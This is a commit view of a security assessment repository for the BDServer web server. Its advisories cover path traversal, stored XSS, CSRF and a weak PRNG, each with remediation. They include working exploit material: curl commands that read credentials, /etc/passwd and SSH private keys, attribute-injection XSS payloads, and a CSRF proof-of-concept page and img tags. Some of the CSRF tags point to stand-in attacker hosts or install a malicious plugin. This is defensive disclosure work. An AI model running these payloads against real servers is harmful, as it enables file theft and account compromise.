LogalDeveloper/BDServer-Security-Assessment
Archived
0
Fork 0
Code Activity

Initial commit.

Browse Source
This commit is contained in:
LogalDeveloper
2026-01-21 13:12:04 -05:00
commit 1e9e5a5925
190 changed files with 25707 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
01-path-traversal/README.md
+175
View File
@@ -0,0 +1,175 @@
# Path Traversal in File-Serving Endpoints
## Summary
Multiple file-serving endpoints in BDServer contain a path traversal vulnerability allowing unauthenticated attackers to read arbitrary files from the server's filesystem. The vulnerability exists because the path sanitization filter can be bypassed using the sequence `..../` (four dots, one slash). The severity depends on what exists on the server: account data, configuration files, SSH keys, and other sensitive files are all potential targets.
## Vulnerability Details
| Property | Value |
|----------|-------|
| Type | Path Traversal / Local File Inclusion |
| CVSS | [7.5 (High)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) |
| CWE | CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) |
## Root Cause
The `/pictures/` and `/plugins/` endpoints serve files from the server's data directory. Both accept a user-controlled path after the prefix and use identical logic.
Below is the vulnerable code for [`/pictures/`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Run.py#L435-L444) and [`/plugins/`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Run.py#L421-L430):
```python
elif self.path.startswith("/pictures/"): # or "/plugins/"
try:
folder = Set.Folder()
f = open(folder+self.path, "rb")
f = f.read()
Render.headers(self, 200)
self.wfile.write(f)
except:
Render.NotFound(self)
```
The code concatenates the user-supplied path directly with the data folder and opens the resulting file without validating it remains within the intended directory.
The server does include a filter intended to prevent path traversal, but it is insufficient.
Below is the [filter code](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Run.py#L230):
```python
self.path = self.path.replace("/..", "/")
```
The filter replaces `/..` with `/`. The sequence `..../` exploits this: when preceded by a slash (`/..../`), the filter matches `/..` and replaces it with `/`, but the remaining two dots and trailing slash (`../`) stay intact. The result is `/../`.
For example:
```
Input: /pictures/..../config.json
Output: /pictures/../config.json
```
## Reproducing the Vulnerability
The following examples use curl's `--path-as-is` flag to prevent path normalization from removing the traversal sequences. These examples assume a local test server running on `localhost:8080`, but the vulnerability affects any BDServer instance.
### Read Application Configuration
```bash
curl --path-as-is "http://localhost:8080/pictures/..../config.json"
curl --path-as-is "http://localhost:8080/plugins/..../config.json"
```
A successful request returns the server's configuration:
```json
{
"title": "Test Server",
"domain": "localhost",
"port": 8080,
"main_account": "admin"
}
```
### Read User Account Data
Account files contain password hashes and session tokens:
```bash
curl --path-as-is "http://localhost:8080/pictures/..../accounts/admin.json"
curl --path-as-is "http://localhost:8080/plugins/..../accounts/admin.json"
```
```json
{
"username": "admin",
"password": "bed4efa1d4fdbd954bd3705d6a2a78270ec9a52ecfbfb010c61862af5c76af1761ffeb1aef6aca1bf5d02b3781aa854fabd2b69c790de74e17ecfec3cb6ac4bf",
"sessions": {
"62W2OE15ACZL3Y0VNPFWX4LBCXDWR9CMHYVMPHCSZOLIF7E0GORMV52Q1TMD...": ...
},
...
}
```
### Read System Files
Traverse up multiple directories to reach the filesystem root:
```bash
curl --path-as-is "http://localhost:8080/pictures/..../..../..../..../..../etc/passwd"
curl --path-as-is "http://localhost:8080/plugins/..../..../..../..../..../etc/passwd"
```
```
root:x:0:0::/root:/usr/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
...
```
### Steal SSH Private Keys
When the server runs directly on a personal machine without containerization, SSH keys are accessible. An attacker can extract usernames from `/etc/passwd` and target their home directories:
```bash
curl --path-as-is "http://localhost:8080/pictures/..../..../..../..../..../home/user/.ssh/id_rsa"
curl --path-as-is "http://localhost:8080/pictures/..../..../..../..../..../home/user/.ssh/id_ed25519"
```
### Read Bash History
Command history often contains sensitive information such as passwords passed as arguments, API keys, or database connection strings:
```bash
curl --path-as-is "http://localhost:8080/pictures/..../..../..../..../..../home/user/.bash_history"
```
## Remediation
### Consider a Mature Web Framework
Serving static files securely is a solved problem. Established web frameworks like Flask and Django provide safe file-serving utilities that handle path traversal prevention internally. Alternatively, static content can be served through a dedicated web server like nginx or Caddy, which operate at a lower level and are hardened against these attacks.
### Fix for Current Codebase
The [existing filter](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Run.py#L230) in `modules/Run.py` (`self.path.replace("/..", "/")`) should be removed as it provides no protection and obscures the vulnerability.
Each file-serving endpoint should validate that the resolved path stays within its intended directory. Python's `pathlib` module provides `resolve()` to canonicalize paths and `is_relative_to()` to safely check containment:
```python
from pathlib import Path
elif self.path.startswith("/pictures/"):
try:
folder = Path(Set.Folder())
allowed = (folder / "pictures").resolve()
requested = (folder / self.path.lstrip("/")).resolve()
if not requested.is_relative_to(allowed):
Render.AccessDenied(self)
return
f = open(requested, "rb")
f = f.read()
Render.headers(self, 200)
self.wfile.write(f)
except:
Render.NotFound(self)
```
The same pattern should be applied to the `/plugins/` endpoint. Calling `resolve()` normalizes the path and resolves symlinks, while `is_relative_to()` verifies the resolved path is within the allowed directory:
| Request Path | Resolved Path | `is_relative_to(allowed)` |
|--------------|---------------|---------------------------|
| `/pictures/image.png` | `/data/pictures/image.png` | `True` |
| `/pictures/../config.json` | `/data/config.json` | `False` |
| `/pictures/../accounts/admin.json` | `/data/accounts/admin.json` | `False` |
| `/pictures/../../../../etc/passwd` | `/etc/passwd` | `False` |
### Provide a Containerized Deployment Option
Even with proper path validation, defense in depth is valuable. Providing an official Docker image or container deployment guide would limit the blast radius of file-read vulnerabilities. A properly containerized BDServer instance cannot access the host system's SSH keys, shell history, or other sensitive files outside the container's filesystem. This protects operators who run the server on personal machines or shared infrastructure.
## Disclaimer
This assessment was performed on a best-effort basis against [BDServer commit dc86854](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db) and reflects the state of the software at the time of testing. The findings and remediations are provided for informational purposes and should be independently validated before implementation. This report does not guarantee all vulnerabilities have been identified, nor does it guarantee the suggested fixes will be effective in all environments.
02-stored-xss/README.md
+387
View File
@@ -0,0 +1,387 @@
# Stored Cross-Site Scripting (XSS)
## Summary
BDServer contains multiple stored XSS vulnerabilities allowing attackers to inject JavaScript that executes when other users view affected pages. The root cause is an inadequate HTML escaping function combined with unsafe string concatenation throughout the codebase. This report documents thirteen confirmed vectors grouped by authentication requirements. Additional vectors likely exist given the prevalence of the vulnerable pattern.
## Vulnerability Details
| Property | Value |
|----------|-------|
| Type | Stored Cross-Site Scripting (XSS) |
| CVSS | [8.1 (High)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N&version=3.1) |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
## Root Cause
The [`Safe()` function](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Common.py#L73-L74) is intended to sanitize user input but is inadequate:
```python
def Safe(text):
return str(text).replace("<", "&lt").replace(">", "&gt")
```
Note: The function uses `&lt` and `&gt` without trailing semicolons. Browsers accept these for [legacy compatibility reasons](https://html.spec.whatwg.org/multipage/named-characters.html), but they are flagged as parse errors by the HTML specification. This is a code quality issue but not a security concern in this context.
Proper HTML escaping is context-dependent: text content, attributes, URLs, and JavaScript contexts each require different treatment. This function only escapes angle brackets, which prevents tag injection but does nothing against attribute injection:
```python
# Vulnerable pattern throughout the codebase:
html = '<img src="' + Safe(user_input) + '">'
# If user_input = 'x" onerror="alert(1)" x="'
# Output: <img src="x" onerror="alert(1)" x="">
```
This pattern appears throughout `Render.py` (6,100+ lines), making comprehensive remediation difficult without architectural changes.
## Vectors
### Group 1: Unauthenticated (Critical)
These vectors require no account and can be exploited by anyone. Vectors 1.3 and 1.4 target administrators directly through the comment moderation interface.
#### Vector 1.1: Markdown Image Injection
The [markdown image handler](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/markdown.py#L646) only escapes quotes in the `title` attribute, leaving `src` vulnerable:
```python
textReturn = textReturn + '\n<center><a target="_blank" href="'+i[-1]+'"><img title="'+i[1].replace('"', "&quot;")+'" alt="[embedded image]" src="'+i[-1]+'"></a></center>'
```
**Payload:** Post a comment containing:
```markdown
![x](x" onerror="alert`XSS`" x=")
```
**Result:** After admin approval, renders as:
```html
<img title="x" alt="[embedded image]" src="x" onerror="alert`XSS`" x="">
```
The invalid `src` triggers `onerror` automatically. Payloads cannot contain `)` because the markdown parser uses it as a delimiter; template literal syntax bypasses this.
#### Vector 1.2: Markdown Link Injection
The [markdown link handler](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/markdown.py#L659) inserts URLs without any escaping:
```python
textReturn = textReturn + '<a target="_blank" href="'+i[-1]+'">'+i[1]+"</a>"
```
**Payload:** Post a comment containing:
```markdown
[click me](x" onclick="alert`XSS`" x=")
```
**Result:** After approval, clicking the link executes JavaScript:
```html
<a target="_blank" href="x" onclick="alert`XSS`" x="">click me</a>
```
Payloads cannot contain `)` due to the markdown parser's delimiter handling.
#### Vector 1.3: Anonymous Comment Username
The [comment editing form](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L3905-L3911) inserts anonymous usernames without sanitization:
```python
account = comment.get("username", "")
if account in accounts():
html = html + User(Safe(account))
elif account:
# ...
html = html + '<input class="button" style="width:90%" maxlength="200" name="username" placeholder="Optional Nick Name" value="'+account+'">'
```
The `Safe()` function is only called for registered usernames. Anonymous usernames bypass it entirely.
**Payload:** Post an anonymous comment with username:
```
x"autofocus="autofocus"onfocus="alert('XSS')
```
**Result:** When an admin reviews or edits the comment:
```html
<input ... value="x"autofocus="autofocus"onfocus="alert('XSS')">
```
The `autofocus` attribute triggers `onfocus` immediately, so the admin does not need to approve the comment. This creates an infinite loop that locks the admin out of the page.
#### Vector 1.4: Anonymous Comment Warning Field
The [comment warning field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L3913-L3918) receives no sanitization:
```python
warning = comment.get("warning", "")
html = html + '<input class="button" maxlength="200" style="width:90%" name="warning" placeholder="Optional Trigger Warning" value="'+warning+'">'
```
**Payload:** Post a comment with trigger warning:
```
x"autofocus="autofocus"onfocus="alert('XSS')
```
**Result:** When an admin views pending comments:
```html
<input ... value="x"autofocus="autofocus"onfocus="alert('XSS')">
```
The `autofocus` attribute triggers `onfocus` immediately. This creates an infinite loop that locks the admin out of the page.
### Group 2: Registered Account Required (High)
These vectors require creating an account but no special privileges.
#### Vector 2.1: Avatar URL
The [avatar URL](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L3571-L3580) passes through `Safe()` but remains vulnerable to attribute injection:
```python
avatar = Safe(account.get("avatar", ""))
html = '<!-- Render.User --><img alt="[avatar]" style="height:50px;vertical-align: middle" src="'+avatar+'">&nbsp;&nbsp;'
```
**Payload:** Set avatar URL in `/settings` to:
```
x" onerror="alert('XSS')" x="
```
**Result:** Executes on every page displaying the avatar (article listings, comments, profile pages):
```html
<img alt="[avatar]" style="..." src="x" onerror="alert('XSS')" x="">
```
#### Vector 2.2: Website Profile Field
The [website field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1488-L1496) passes through `Safe()` but allows attribute injection:
```python
website = Safe(Accounts.get(account, {}).get("website" , ""))
html = html + '<a href="'+website+'"> '+webtitle+'</a>'
```
**Payload:** Set website field to:
```
x" onclick="alert('XSS')" x="
```
**Result:** Executes when visitors click the link on the profile page:
```html
<a href="x" onclick="alert('XSS')" x=""> ...</a>
```
#### Vector 2.3: Jami Profile Field
The [Jami field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1551-L1556) is inserted into an input value attribute:
```python
jami = Safe(Accounts.get(account, {}).get("jami" , ""))
# ...
html = html + '<input class="button" style="width:50%;" value="'+jami+'">'
```
**Payload:** Set Jami field to:
```
x"autofocus="autofocus"onfocus="alert('XSS')
```
**Result:** Executes immediately when visitors view the profile:
```html
<input class="button" style="width:50%;" value="x"autofocus="autofocus"onfocus="alert('XSS')">
```
This creates an infinite loop.
#### Vector 2.4: Matrix Profile Field
The [Matrix field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1561-L1572) is concatenated into a URL:
```python
matrix = Safe(Accounts.get(account, {}).get("matrix" , ""))
# ...
if "/" in matrix:
matrix = matrix[matrix.rfind("/")+1:]
matrixlink = "https://matrix.to/#/"+matrix
# ...
html = html + '<a href="'+matrixlink+'"> '+matrix+'</a>'
```
**Payload:** Set Matrix field to:
```
x" onclick="alert('XSS')" x="
```
**Result:** Executes when visitors click the Matrix link:
```html
<a href="https://matrix.to/#/x" onclick="alert('XSS')" x=""> ...</a>
```
The `/` stripping limits exfiltration payloads containing URLs.
#### Vector 2.5: Mastodon Profile Field
The [Mastodon field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1513-L1525) passes through helper functions that don't escape quotes:
```python
mastodon = Safe(Accounts.get(account, {}).get("mastodon" , ""))
# ...
Mastodon = mastohead(mastodon)
Mastolink = mastolink(Mastodon)
# ...
html = html + '<a href="'+Mastolink+'"> '+Mastodon+'</a>'
```
**Payload:** Set Mastodon field to:
```
x" onclick="alert('XSS')" x="@example.com
```
**Result:** Executes when visitors click the Mastodon link:
```html
<a href="https://example.com/@x" onclick="alert('XSS')" x=""> ...</a>
```
The [helper function](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L517-L519) mangles payloads containing `/`.
#### Vector 2.6: PeerTube Profile Field
The [PeerTube field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1532-L1544) passes through helper functions that don't escape quotes:
```python
peertube = Safe(Accounts.get(account, {}).get("peertube" , ""))
# ...
PeerHead = peerhead(peertube)
PeerLink = peerlink(PeerHead)
# ...
html = html + '<a href="'+PeerLink+'"> '+PeerHead+'</a>'
```
**Payload:** Set PeerTube field to:
```
x" onclick="alert('XSS')" x="@example.com
```
**Result:** Executes when visitors click the PeerTube link:
```html
<a href="https://example.com/@x" onclick="alert('XSS')" x=""> ...</a>
```
The [helper function](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L465-L511) mangles payloads containing `/`.
### Group 3: Elevated Privileges Required (Medium)
These vectors require author, editor, or theme editing privileges.
#### Vector 3.1: Article Title
[Article titles](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L3300-L3302) receive no sanitization:
```python
html = html + article.get("title", "")+"</h1></a>"+sup+"\n"
```
**Payload:** Set article title to:
```html
<script>alert('XSS')</script>
```
**Result:** Raw HTML is inserted directly on listing pages and the article itself:
```html
...<script>alert('XSS')</script></h1></a>...
```
#### Vector 3.2: Article Thumbnail
[Article thumbnails](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1271-L1275) are inserted without sanitization:
```python
html = html + '<img style="min-width:100%; width:100%" src="'+thumbnail+'">'
```
**Payload:** Set thumbnail URL to:
```
"><script>alert('XSS')</script><img src="
```
**Result:** Executes on the article page and listings:
```html
<img style="min-width:100%; width:100%" src=""><script>alert('XSS')</script><img src="">
```
#### Vector 3.3: Theme Thumbnail
The [theme thumbnail](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Themes.py#L77-L79) is inserted without sanitization:
```python
html = html + '<img alt="[avatar]" style="height:150px;float:left;margin-right:20px;margin-bottom:20px" src="'+thumbnail+'">'
```
**Payload:** Set theme screenshot field to:
```
"><script>alert('XSS')</script><img src="
```
**Result:** Executes when visitors view the theme listing:
```html
<img alt="[avatar]" style="..." src=""><script>alert('XSS')</script><img src="">
```
## Remediation
### Adopt a Templating Engine
Building HTML through string concatenation makes security review difficult. `Render.py` alone is over 6,100 lines of interleaved Python logic and HTML fragments. Every output statement is a potential XSS vector.
A templating engine like [Jinja2](https://jinja.palletsprojects.com/) separates HTML structure from application logic and escapes variables automatically by default. This makes XSS vulnerabilities structurally difficult to introduce rather than relying on developers to remember to sanitize every insertion point.
### Replace the Custom Markdown Parser
The custom `modules/markdown.py` uses ad-hoc string manipulation with many edge cases. An established library like [markdown-it-py](https://markdown-it-py.readthedocs.io/) follows the CommonMark specification and provides options to disable raw HTML in user content.
### Fix the Safe() Function
As an immediate mitigation, replace `Safe()` with Python's `html.escape()`:
```python
import html
def Safe(text):
return html.escape(str(text), quote=True)
```
This escapes `<`, `>`, `&`, `"`, and `'`. However, this only addresses vectors where `Safe()` is already called. The article title, anonymous username, and warning field vectors bypass `Safe()` entirely.
### Harden HTTP Headers
Cookies set with the `HttpOnly` flag cannot be accessed by JavaScript, limiting the impact of XSS. A Content Security Policy that blocks inline scripts can prevent many XSS payloads from executing. These mitigations reduce impact but do not substitute for fixing the underlying vulnerabilities.
## Disclaimer
This assessment was performed on a best-effort basis against [BDServer commit dc86854](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db) and reflects the state of the software at the time of testing. The findings and remediations are provided for informational purposes and should be independently validated before implementation. This report does not guarantee all vulnerabilities have been identified, nor does it guarantee the suggested fixes will be effective in all environments.
03-csrf/README.md
+113
View File
@@ -0,0 +1,113 @@
# Cross-Site Request Forgery (CSRF)
## Summary
BDServer lacks CSRF protection and uses GET requests for state-changing operations. This combination allows attackers to perform unauthorized actions via image tags, links, or email content without requiring JavaScript or form submissions. Additional vulnerable endpoints likely exist given the prevalence of this pattern throughout the codebase.
## Vulnerability Details
| Property | Value |
|----------|-------|
| Type | Cross-Site Request Forgery (CSRF) via HTTP Method Misuse |
| CVSS | [7.4 (High)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N&version=3.1) |
| CWE | CWE-352 (Cross-Site Request Forgery), CWE-749 (Exposed Dangerous Method) |
## Root Cause
BDServer uses GET requests for operations that modify server state. This violates HTTP semantics where GET should be idempotent and only POST/PUT/DELETE should modify data. Combined with no CSRF protection (no tokens, no SameSite cookies, no origin validation), this allows attackers to trigger state changes via simple image tags or links.
The vulnerable endpoints are handled in [`do_GET`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Run.py#L341-L403):
| Endpoint | Action |
|----------|--------|
| `/comment` | Create or edit comments |
| `/delete_comment` | Delete comments |
| `/update_account` | Modify user profile |
| `/grant_publication_rights` | Grant or revoke permissions |
| `/create_invite` | Generate invite codes |
| `/cancel_invite` | Delete invite codes |
| `/log_out` | Terminate sessions |
| `/sign_petition` | Sign petitions |
| `/read_notification` | Delete notifications |
| `/do_install_plugin/` | Install plugins and restart server |
| `/do_delete_plugin/` | Delete plugins |
Forms in the application don't specify `method="POST"`, so they default to GET. For example, from [`Render.py:1828`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1828):
```html
<form action="update_account">
```
Without a `method` attribute, forms default to GET.
Action buttons are implemented as `<a>` links rather than form submissions. The [`Button()` helper](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L3249-L3278) generates anchor tags, so clicking "Log Out" or "Delete" triggers a GET request:
```html
<a class="button" href="/log_out?cookie=...">Log Out</a>
```
Traditional CSRF requires JavaScript to auto-submit forms. GET-based CSRF is more dangerous because it works without JavaScript, requires no user interaction beyond viewing a page, works in HTML emails, and bypasses most Content Security Policies since browsers don't block image loads.
## Reproducing the Vulnerability
These examples assume a local test server running on `localhost:8080`. The attack works by embedding image tags that trigger GET requests when a logged-in user views the page.
### Profile Modification
An attacker can modify a victim's profile by having them view a page containing:
```html
<img src="http://localhost:8080/update_account?bio=Account%20Compromised&website=https://evil.com" style="display:none" />
```
When a logged-in user views this page, their profile bio and website are silently changed. The image tag triggers an automatic GET request with the victim's session cookie.
### Comment Deletion
Multiple comments can be deleted by chaining image tags:
```html
<img src="http://localhost:8080/delete_comment?url=/articles/Welcome_To_BDServer&number=0" />
<img src="http://localhost:8080/delete_comment?url=/articles/Welcome_To_BDServer&number=1" />
```
### Admin Plugin Manipulation
If an administrator visits a malicious page, an attacker can manipulate server plugins:
```html
<img src="http://localhost:8080/do_delete_plugin/plugin_hash" />
<img src="http://localhost:8080/do_install_plugin/malicious_plugin_hash" />
```
This can delete security plugins and install malicious ones, triggering a server restart.
## Proof of Concept
1. Log into BDServer at `http://localhost:8080` and note the current profile settings
2. Open `poc.html` in the same browser
3. Return to BDServer and check the profile: the bio and website fields have been changed
The PoC embeds an invisible image tag that triggers a GET request to `/update_account`. The browser sends the session cookie with the request, authenticating the action.
## Remediation
### Use POST for State-Changing Operations
[RFC 9110 defines GET as a "safe" method](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.2.1): it should only retrieve data, never modify it. Browsers rely on this assumption. They prefetch links, cache responses, allow embedding in image tags, and let users bookmark URLs. These behaviors are fine for reading data but cause problems when GET requests delete comments or modify profiles.
POST exists specifically for operations that change state. Browsers handle POST differently: they don't prefetch it, don't cache it, and can't trigger it from an image tag. Switching to POST eliminates the attack vectors described in this report.
Move all state-modifying endpoints from `do_GET` to `do_POST` in `Run.py`. Update forms to specify `method="POST"` and replace link-based buttons with form submissions.
### Implement CSRF Tokens
CSRF tokens provide defense in depth beyond using POST. The server generates a random token for each session and embeds it in forms as a hidden field. When the form is submitted, the server verifies the token matches the session. An attacker cannot forge requests without first obtaining the victim's token, which requires a separate vulnerability like XSS.
### Set Secure Cookie Attributes
The session cookie currently lacks security attributes ([`Render.py:80`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L80)). Setting `SameSite=Strict` prevents browsers from sending cookies with cross-site requests, providing defense in depth against CSRF. Modern browsers default to `SameSite=Lax` which provides some protection, but this should not be relied upon.
## Disclaimer
This assessment was performed on a best-effort basis against [BDServer commit dc86854](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db) and reflects the state of the software at the time of testing. The findings and remediations are provided for informational purposes and should be independently validated before implementation. This report does not guarantee all vulnerabilities have been identified, nor does it guarantee the suggested fixes will be effective in all environments.
03-csrf/poc.html
+29
View File
@@ -0,0 +1,29 @@
<!DOCTYPE html>
<html>
<head>
<title>CSRF Proof of Concept</title>
</head>
<body>
<h1>CSRF Proof of Concept - BDServer</h1>
<p>This page demonstrates the CSRF vulnerability in BDServer.</p>
<p>If you are logged into BDServer at localhost:8080, your profile has been modified.</p>
<!-- These invisible images trigger GET requests that modify server state -->
<!-- The browser automatically includes session cookies with these requests -->
<!-- Modify user profile -->
<img src="http://localhost:8080/update_account?bio=Profile%20modified%20via%20CSRF&website=https://attacker.example.com" style="display:none" />
<h2>What happened?</h2>
<ul>
<li>Your profile bio was changed to "Profile modified via CSRF"</li>
<li>Your website was changed to "https://attacker.example.com"</li>
</ul>
<h2>Why this works</h2>
<p>BDServer uses GET requests for state-changing operations and has no CSRF protection.
When your browser loads this page, it fetches the image URLs above.
Since you're logged in, your session cookie is sent with each request,
authenticating the malicious actions as if you performed them yourself.</p>
</body>
</html>
04-weak-prng/README.md
+101
View File
@@ -0,0 +1,101 @@
# Weak PRNG for Security Tokens
## Summary
BDServer uses Python's `random` module to generate session tokens, email verification codes, and other security-sensitive values. The `random` module uses the Mersenne Twister (MT19937) algorithm, which is not cryptographically secure. In theory, an attacker who observes enough consecutive PRNG outputs can recover the internal state and predict future tokens. In practice, several factors make this attack difficult to execute.
## Vulnerability Details
| Property | Value |
|----------|-------|
| Type | Use of Cryptographically Weak PRNG |
| CVSS | [7.4 (High)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N&version=3.1) |
| CWE | CWE-338 (Use of Cryptographically Weak PRNG) |
## Root Cause
The [`RandString()`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Common.py#L76-L84) function generates random strings using `random.choice()`:
```python
import random
def RandString(n=50):
# this will make a random string
s = ""
good = "QWERTYUIOPASDFGHJKLZXCVBNM1234567890"
for i in range(n):
s = s + random.choice(good)
return s
```
This function is used for security-sensitive purposes throughout the codebase:
| Usage | Location | Length |
|-------|----------|--------|
| Session tokens | [`Render.py:67`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L67) | 200 chars |
| Email verification | [`Email.py:102`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Email.py#L102), [`Email.py:204`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Email.py#L204) | 10 chars |
| Invite codes | [`Render.py:5179`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L5179) | 50 chars |
| Private key password | [`ActivityPub.py:124`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/ActivityPub.py#L124) | 200 chars |
### The Theoretical Attack
MT19937 maintains 624 32-bit integers as its internal state. Each time the PRNG generates a number, it transforms one of these integers through a series of bitwise operations before outputting it. These operations are reversible: given an output, you can compute the original state integer.
If an attacker collects 624 consecutive outputs, they can reverse each one to recover the full internal state. With the state recovered, they can clone the PRNG and predict all future outputs.
Each call to `random.choice()` consumes PRNG state, so a 200-character token requires 200 calls. The exact number of underlying MT19937 outputs consumed depends on Python's implementation details and rejection sampling, but collecting several consecutive tokens would provide enough data for state recovery.
### Practical Difficulties
Several factors make this attack harder to execute in the wild:
**Other PRNG consumers**: The codebase has multiple other calls to `random` that consume PRNG state:
| Location | Function | When Called |
|----------|----------|-------------|
| [`Common.py:311-313`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Common.py#L311-L313) | `IDcolor()` | Every new session (3 calls) |
| [`Render.py:362`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L362) | `random.choice()` | Article selection |
| [`Render.py:383`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L383), [`Render.py:458`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L458) | `random.uniform()` | Content scoring (L383 uses `alsorandom`, an alias for `random`) |
| [`ActivityPub.py:185`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/ActivityPub.py#L185) | `random.uniform()` | Federation timing |
| [`Analyse.py:554`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Analyse.py#L554) | `random.random()` | User sorting |
Any request that triggers these functions will consume PRNG outputs, breaking the "consecutive outputs" requirement.
**Rejection sampling uncertainty**: When `random.choice()` selects from 36 characters, it generates random numbers and discards any that fall outside the valid range. The attacker observes only the characters that were selected, not the discarded values. This creates uncertainty when trying to map observed tokens back to the underlying PRNG outputs, requiring specialized constraint-solving software to work through the possibilities.
**Server restarts**: Any server restart reseeds the PRNG, invalidating collected data.
**Timing requirements**: The attacker must collect tokens, perform state recovery, and predict the next token before another user or background process consumes PRNG state.
### Realistic Assessment
On a low-traffic BDServer instance with no other activity, this attack is feasible. On an active server with multiple users and background processes, unpredictable PRNG state consumption makes the attack significantly harder.
The vulnerability represents a real cryptographic weakness, but practical exploitation requires favorable conditions.
## Reproducing the Vulnerability
In a controlled environment with direct access to the PRNG, state recovery works reliably: collect 624 outputs, reverse the bitwise transformations on each, and use the recovered state to predict future values.
Against a live BDServer instance, the practical difficulties described above (other PRNG consumers, rejection sampling, timing) make successful exploitation unlikely without custom tooling and favorable conditions.
## Remediation
Replace `random` with `secrets` in [`Common.py`](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Common.py#L76-L84):
```python
import secrets
import string
def RandString(n=50):
alphabet = string.ascii_letters + string.digits
return ''.join(secrets.choice(alphabet) for _ in range(n))
```
The `secrets` module uses `os.urandom()`, a cryptographically secure random source with no recoverable state.
## Disclaimer
This assessment was performed on a best-effort basis against [BDServer commit dc86854](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db) and reflects the state of the software at the time of testing. The findings and remediations are provided for informational purposes and should be independently validated before implementation. This report does not guarantee all vulnerabilities have been identified, nor does it guarantee the suggested fixes will be effective in all environments.
05-weak-password-hashing/README.md
+87
View File
